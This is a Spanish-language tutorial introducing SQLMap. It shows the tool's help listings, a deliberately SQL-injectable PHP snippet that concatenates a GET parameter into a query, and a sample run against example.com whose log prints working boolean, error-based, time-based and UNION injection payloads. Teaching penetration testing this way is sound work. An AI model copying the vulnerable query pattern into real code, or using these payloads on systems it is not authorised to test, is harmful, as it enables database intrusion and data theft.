💉Introducción a SQLMap

Al comenzar a utilizar SQLMap, la primera consulta que hacen los nuevos usuarios suele ser el mensaje de ayuda del programa. Para ayudar a los nuevos usuarios, existen dos niveles de lista de mensajes de ayuda:

• Basic Listing: Muestra solo las opciones y los flags básicas, suficientes en la mayoría de los casos (-h):

afsh4ck@kali$ sqlmap -h
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.4.9#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

Usage: python3 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs
...SNIP...

• Advanced Listing: Muestra todas las opciones y flags (-hh):

afsh4ck@kali$ sqlmap -hh
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.9#stable}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

Usage: python3 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -d DIRECT           Connection string for direct database connection
    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
    -m BULKFILE         Scan multiple targets given in a textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target URLs
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target URL

    -A AGENT, --user..  HTTP User-Agent header value
    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
    --method=METHOD     Force usage of given HTTP method (e.g. PUT)
    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --param-del=PARA..  Character used for splitting parameter values (e.g. &)
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --cookie-del=COO..  Character used for splitting cookie values (e.g. ;)
...SNIP...

Para obtener más detalles, se recomienda a los usuarios consultar la wiki del proyecto , ya que representa el manual oficial para el uso de SQLMap.

---

Escenario básico

En un escenario simple, un pentester accede a la página web que acepta la entrada del usuario a través de un parámetro GET (por ejemplo, id). Luego, desea probar si la página web está afectada por la vulnerabilidad de inyección SQL. Si es así, querrá explotarla, recuperar la mayor cantidad de información posible de la base de datos del back-end o incluso intentar acceder al sistema de archivos subyacente y ejecutar comandos del sistema operativo. Un ejemplo de código PHP vulnerable a SQLi para este escenario se vería así:

$link = mysqli_connect($host, $username, $password, $database, 3306);
$sql = "SELECT * FROM users WHERE id = " . $_GET["id"] . " LIMIT 0, 1";
$result = mysqli_query($link, $sql);
if (!$result)
    die("<b>SQL error:</b> ". mysqli_error($link) . "<br>\n");

Como el informe de errores está habilitado para la consulta SQL vulnerable, se devolverá un error de base de datos como parte de la respuesta del servidor web en caso de que se produzcan problemas en la ejecución de la consulta SQL. Estos casos facilitan el proceso de detección de SQLi, especialmente en caso de manipulación manual de valores de parámetros, ya que los errores resultantes se reconocen fácilmente:

Para ejecutar SQLMap en este ejemplo, ubicado en la URL de ejemplo http://www.example.com/vuln.php?id=1, se vería así:

afsh4ck@kali$ sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.4.9}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


[*] starting @ 22:26:45 /2020-09-09/

[22:26:45] [INFO] testing connection to the target URL
[22:26:45] [INFO] testing if the target URL content is stable
[22:26:46] [INFO] target URL content is stable
[22:26:46] [INFO] testing if GET parameter 'id' is dynamic
[22:26:46] [INFO] GET parameter 'id' appears to be dynamic
[22:26:46] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[22:26:46] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[22:26:46] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[22:26:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:26:46] [WARNING] reflective value(s) found and filtering out
[22:26:46] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="luther")
[22:26:46] [INFO] testing 'Generic inline queries'
[22:26:46] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:26:46] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
...SNIP...
[22:26:46] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[22:26:46] [INFO] testing 'MySQL inline queries'
[22:26:46] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[22:26:46] [WARNING] time-based comparison requires larger statistical model, please wait........... (done)                                                                                                       
...SNIP...
[22:26:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[22:26:56] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[22:26:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:26:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:26:56] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:26:56] [INFO] target URL appears to have 3 columns in query
[22:26:56] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 8814=8814

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 7744 FROM(SELECT COUNT(*),CONCAT(0x7170706a71,(SELECT (ELT(7744=7744,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 3669 FROM (SELECT(SLEEP(5)))TIxJ)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170706a71,0x554d766a4d694850596b754f6f716250584a6d53485a52474a7979436647576e766a595374436e78,0x71707a7871)-- -
---
[22:26:56] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0
[22:26:57] [INFO] fetched data logged to text files under '/home/user/.sqlmap/output/www.example.com'

[*] ending @ 22:26:57 /2020-09-09/

Nota: en este caso, la opción '-u' se utiliza para proporcionar la URL de destino, mientras que el modificador '--batch' se utiliza para omitir cualquier entrada de usuario requerida, eligiendo automáticamente el uso de la opción predeterminada.